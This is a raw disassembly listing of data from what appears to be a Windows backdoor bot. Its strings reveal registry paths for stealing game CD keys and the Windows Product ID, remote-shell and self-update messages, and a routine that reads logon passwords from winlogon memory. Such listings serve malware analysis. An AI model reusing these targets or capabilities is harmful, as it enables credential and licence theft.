dd 80000002h, 439BC0h, 43FE14h, 439BB0h, 2 dup(0)
dd 80000002h, 439B60h, 43FE14h, 439B30h, 2 dup(0)
dd 80000002h, 439AF0h, 43FE14h, 439AD0h, 2 dup(0)
dd 80000002h, 439AA0h, 43FE14h, 439A80h, 2 dup(0)
dd 80000002h, 439A44h, 43FE14h, 439A30h, 2 dup(0)
dd 80000002h, 4399E8h, 43FE14h, 4399C4h, 2 dup(0)
dd 80000002h, 439970h, 43FE14h, 439940h, 2 dup(0)
dd 80000002h, 4398F0h, 43FE14h, 4398C4h, 2 dup(0)
dd 80000002h, 439884h, 43987Ch, 43985Ch, 2 dup(0)
dd 80000002h, 439818h, 43FE14h, 4397FCh, 2 dup(0)
dd 80000002h, 4397B0h, 43FE14h, 439788h, 2 dup(0)
dd 80000002h, 439754h, 43FE14h, 439748h, 2 dup(0)
dd 80000002h, 439714h, 43FE14h, 439708h, 2 dup(0)
dd 80000002h, 4396D4h, 43FE14h, 4396C8h, 2 dup(0)
dd 80000002h, 439694h, 43FE14h, 439688h, 2 dup(0)
dd 80000002h, 43964Ch, 43FE14h, 439638h, 2 dup(0)
dd 80000002h, 4395FCh, 43FE14h, 4395E8h, 2 dup(0)
dd 80000002h, 4395B8h, 43A088h, 43959Ch, 2 dup(0)
dd 80000002h, 43957Ch, 439574h, 439550h, 2 dup(0)
dd 80000002h, 439534h, 439574h, 439514h, 2 dup(0)
dd 80000002h, 4394F4h, 439574h, 4394D0h, 2 dup(0)
dd 80000002h, 4394B8h, 439574h, 4394B4h, 2 dup(0)
dd 80000002h, 439498h, 439488h, 439480h, 2 dup(0)
dd 80000002h, 43944Ch, 42D8D4h, 439434h, 2 dup(0)
dd 80000002h, 4393F8h, 4393ECh, 4393C4h, 4393B4h, 4393A0h
dd 80000002h, 43937Ch, 439370h, 43935Ch, 43934Ch, 439344h
dd 80000002h, 43937Ch, 439370h, 439318h, 43934Ch, 439310h
dd 80000002h, 43937Ch, 439370h, 4392E0h, 43934Ch, 4392D8h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 10h
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 10h
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 4
aNox db 'NOX',0
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 10h
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 4
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 4
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 4
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 10h
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 10h
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 10h
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 10h
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 8
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 10h
aGlobalOperatio db 'Global Operations',0
align 4
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 10h
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 10h
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 10h
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 10h
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 8
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 10h
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 10h
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 10h
aCustomernumber db 'CustomerNumber',0
align 10h
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 10h
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 10h
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .packed:00438EACo
aCdkey db 'CDKey',0 ; DATA XREF: .packed:00438EA8o
align 10h
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0
; DATA XREF: .packed:off_438EA4o
align 4
asc_43A0B8: ; DATA XREF: sub_416028+E7o
; sub_416028+F2o
unicode 0, <=>,0
dword_43A0BC dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_416028+2Bo
dd 0
unk_43A0D4 db 2Dh ; - ; DATA XREF: sub_4161D7+170o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
unk_43A108 db 2Dh ; - ; DATA XREF: sub_4161D7+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_43A138 db 2Dh ; - ; DATA XREF: sub_4161D7+47o
; sub_416398+FDo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 4
dword_43A15C dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: sub_416398+362o
; sub_41673A+156o
dd 726F72h
unk_43A174 db 2Dh ; - ; DATA XREF: sub_416398+2FAo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 10h
unk_43A1A0 db 2Dh ; - ; DATA XREF: sub_416398+202o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_43A1C4 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: sub_416398+1CBo
dd 74756Fh
dword_43A1DC dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_416398+16Ao
dd 169h
unk_43A1F4 db 2Dh ; - ; DATA XREF: sub_416398+127o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
unk_43A214 db 2Dh ; - ; DATA XREF: sub_416398+82o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_43A238 db 2Dh ; - ; DATA XREF: sub_416398+44o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 4
unk_43A25C db 2Dh ; - ; DATA XREF: sub_41673A+1CFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_43A288 db 2Dh ; - ; DATA XREF: sub_41673A+CBo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_43A2A8 db 2Dh ; - ; DATA XREF: sub_41673A+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
aAB db 'a+b',0 ; DATA XREF: sub_41673A+97o
unk_43A2D8 db 2Dh ; - ; DATA XREF: sub_41673A+83o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_43A308 db 2Dh ; - ; DATA XREF: sub_416975+480o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_43A334 db 2Dh ; - ; DATA XREF: sub_416975+472o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_43A368 db 2Dh ; - ; DATA XREF: sub_416975+3B6o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 4
dword_43A3AC dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: sub_416975+34Do
dd 25206465h, 73h
unk_43A3C8 db 2Dh ; - ; DATA XREF: sub_416975+2D6o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 10h
unk_43A400 db 2Dh ; - ; DATA XREF: sub_416975+257o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_43A428 db 2Dh ; - ; DATA XREF: sub_416975+1CDo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
unk_43A454 db 2Dh ; - ; DATA XREF: sub_416975:loc_416B0Do
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 4
unk_43A47C db 2Dh ; - ; DATA XREF: sub_416975+191o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
unk_43A4A4 db 2Dh ; - ; DATA XREF: sub_416975+77o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_416F09:loc_416F4Co
; sub_4196D6+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_416F09:loc_416F46o
aDisk db 'Disk',0 ; DATA XREF: sub_416F09:loc_416F40o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_416F09:loc_416F3Ao
aCdrom db 'Cdrom',0 ; DATA XREF: sub_416F09:loc_416F34o
align 4
off_43A4F4 dd offset word_4D4152 ; DATA XREF: sub_416F09:loc_416F2Eo
word_43A4F8 dw 3Fh ; DATA XREF: sub_416F09+1Fo
; sub_41B1FC:loc_41B2FEr
align 4
aFailed db 'failed',0 ; DATA XREF: sub_416F9A:loc_417072o
; sub_4170B5+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_416F9A+6Bo
align 4
unk_43A50C db 2Dh ; - ; DATA XREF: sub_4170B5+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_43A548 db 2Dh ; - ; DATA XREF: sub_4170B5+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
aA_3 db 'A:\',0 ; DATA XREF: sub_417187:loc_4171CCo
dword_43A588 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
; DATA XREF: sub_41720A+C5o
dd 64252064h, 6C696620h, 7365h
unk_43A5A8 db 2Dh ; - ; DATA XREF: sub_41720A+5Co
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 10h
dword_43A5D0 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
; DATA XREF: sub_417322+107o
dd 73252064h, 73255Ch
dword_43A5EC dd 2A5C7325h, 0 unk_43A5F4 db 2Dh ; - ; DATA XREF: sub_417474:loc_4175EDo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_43A628 db 2Dh ; - ; DATA XREF: sub_417474:loc_4175C0o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_43A654 db 2Dh ; - ; DATA XREF: sub_417474:loc_4175B9o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 10h
unk_43A690 db 2Dh ; - ; DATA XREF: sub_417474+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
aUserdomain: ; DATA XREF: sub_417474+DCo
unicode 0, <USERDOMAIN>,0
align 4
aUsername: ; DATA XREF: sub_417474+CEo
unicode 0, <USERNAME>,0
align 4
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417474+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417474+8Do
align 10h
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417474+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417474+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417474+68o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_417474+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_417474+40o
; sub_417474+161o ...
align 4
unk_43A7C8 db 2Dh ; - ; DATA XREF: sub_417474+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_417646+13Eo
align 10h
aNwgina db 'NWGINA',0 ; DATA XREF: sub_417646+123o
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417646+AFo
align 8
dword_43A818 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417AA0+70o
; sub_417B37+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43A868 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417B37+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h, 0
off_43A8C0 dd offset aQ ; DATA XREF: sub_41802F+5Cr
; "q"
dd offset dword_43B46C
; ---------------------------------------------------------------------------
fadd st, st(3)
inc edx
add ah, dl
fld dword ptr [edx+0]
dec eax
fld dword ptr [edx+0]
push 100043B4h
retn 42h
; ---------------------------------------------------------------------------
dd offset aI ; "i"
dd offset aP ; "p"
dd offset aA ; "a"
dd offset aS_1 ; "s"
dd offset aD ; "d"
dd offset dword_43B464
dd offset dword_43B460
dd offset dword_43B45C
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_43B458
dd offset dword_43B454
dd offset dword_43B450
; ---------------------------------------------------------------------------
pushf
retn
; ---------------------------------------------------------------------------
dw 42h
dd offset aV ; "v"
dd offset dword_43B44C
dd offset aN ; "n"
dd offset aM ; "m"
dd offset dword_43B448
dd offset dword_43B444
dd offset dword_43B440
dd offset dword_43B43C
dd offset dword_43B438
dd offset word_43B434
dd offset dword_43B430
dd offset aI_0 ; "I"
dd offset dword_43B42C
dd offset dword_43B428
dd offset aA_0 ; "A"
dd offset dword_43B424
dd offset dword_43B420
dd offset dword_43B41C
dd offset dword_43B418
dd offset dword_43B414
dd offset dword_43B410
dd offset dword_43B40C
dd offset dword_43B408
dd offset dword_43B404
dd offset dword_43B400
dd offset dword_43B3FC
dd offset dword_43B3F8
dd offset dword_43B3F4
dd offset word_43B3F0
dd offset aM_1 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_43B188
dd offset off_43B184
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
; ---------------------------------------------------------------------------
clc
mov al, 43h
add al, dh
mov al, 43h
add ah, ah
mov al, 43h
add al, bl
mov al, 43h
add al, dl
mov al, 43h
add al, cl
mov al, 43h
add al, al
mov al, 43h
add [eax-57FFBC50h], bh
mov al, 43h
add [eax-6BFFBC50h], ah
mov al, 43h
add [eax+7C0043B0h], cl
mov al, 43h
add [eax+esi*4+43h], dh
add [eax+esi*4+43h], ch
add [eax+esi*4+43h], ah
add [eax+esi*4+43h], bl
add [eax-50h], dl
inc ebx
add [eax-50h], cl
inc ebx
add [eax-50h], al
inc ebx
add [eax+esi*4], dh
inc ebx
add [eax+esi*4], ch
inc ebx
add [eax], ah
mov al, 43h
add [eax], bl
mov al, 43h
add [eax+esi*4], cl
inc ebx
add [eax+esi*4], al
inc ebx
add ah, bh
scasd
inc ebx
add ah, dh
scasd
inc ebx
add al, dh
scasd
inc ebx
add ah, ah
scasd
inc ebx
add ah, bl
scasd
inc ebx
add ah, dl
scasd
inc ebx
add ah, cl
scasd
inc ebx
add ah, al
scasd
inc ebx
add [edi+ebp*4-504BFFBDh], bh
inc ebx
add [edi+ebp*4-505FFFBDh], ch
inc ebx
add [eax-6FFFBC51h], bl
scasd
inc ebx
add [eax-7FFFBC51h], cl
scasd
inc ebx
add [eax-51h], bh
inc ebx
add [eax-51h], dh
inc ebx
add [eax-51h], ch
inc ebx
add [edi+ebp*4+43h], ah
add [eax-51h], bl
inc ebx
add [edi+ebp*4+43h], cl
add [eax-51h], al
inc ebx
add [eax], bh
scasd
inc ebx
add [eax], dh
scasd
inc ebx
add [eax], ch
scasd
inc ebx
add [edi+ebp*4], bl
inc ebx
add [eax], dl
scasd
inc ebx
add [edi+ebp*4], al
inc ebx
add al, bh
scasb
inc ebx
add al, dh
scasb
inc ebx
add ah, ah
scasb
inc ebx
add al, bl
scasb
inc ebx
loc_43ABBF: ; DATA XREF: sub_41802F+41r
; sub_41802F+ECr
add ah, cl
movsd
inc edx
add ah, dl
scasb
inc ebx
add al, dl
scasb
inc ebx
add al, cl
scasb
inc ebx
add ah, al
scasb
inc ebx
add al, al
scasb
inc ebx
add [eax-4FFFBC52h], bh
scasb
inc ebx
add [eax-5FFFBC52h], ch
scasb
inc ebx
add [eax-6FFFBC52h], bl
scasb
inc ebx
add [eax-7FFFBC52h], cl
scasb
inc ebx
add [esi+ebp*4+43h], dh
add [esi+ebp*4+43h], ch
add [esi+ebp*4+43h], ah
add [eax-52h], ah
inc ebx
add [eax-52h], bl
inc ebx
add [esp+esi*4+43h], cl
add [ebx+eax*8-222FFFBEh], bl
inc edx
add al, bl
retn
; ---------------------------------------------------------------------------
dw 42h
dd offset dword_43B464
dd offset dword_43B460
dd offset dword_43B45C
dd offset aI ; "i"
dd offset dword_42CBB4
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_43B458
dd offset aM ; "m"
dd offset aN ; "n"
; ---------------------------------------------------------------------------
lodsb
leave
inc edx
add ah, ch
rol dword ptr [edx+0], 0B8h
fld dword ptr [edx+0]
push esp
scasb
inc ebx
add [eax-27h], cl
inc edx
add [eax], dl
retn 42h
; ---------------------------------------------------------------------------
dd offset aV ; "v"
dd offset dword_43B46C
dd offset dword_43B450
dd offset dword_43B468
dd offset dword_43B454
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
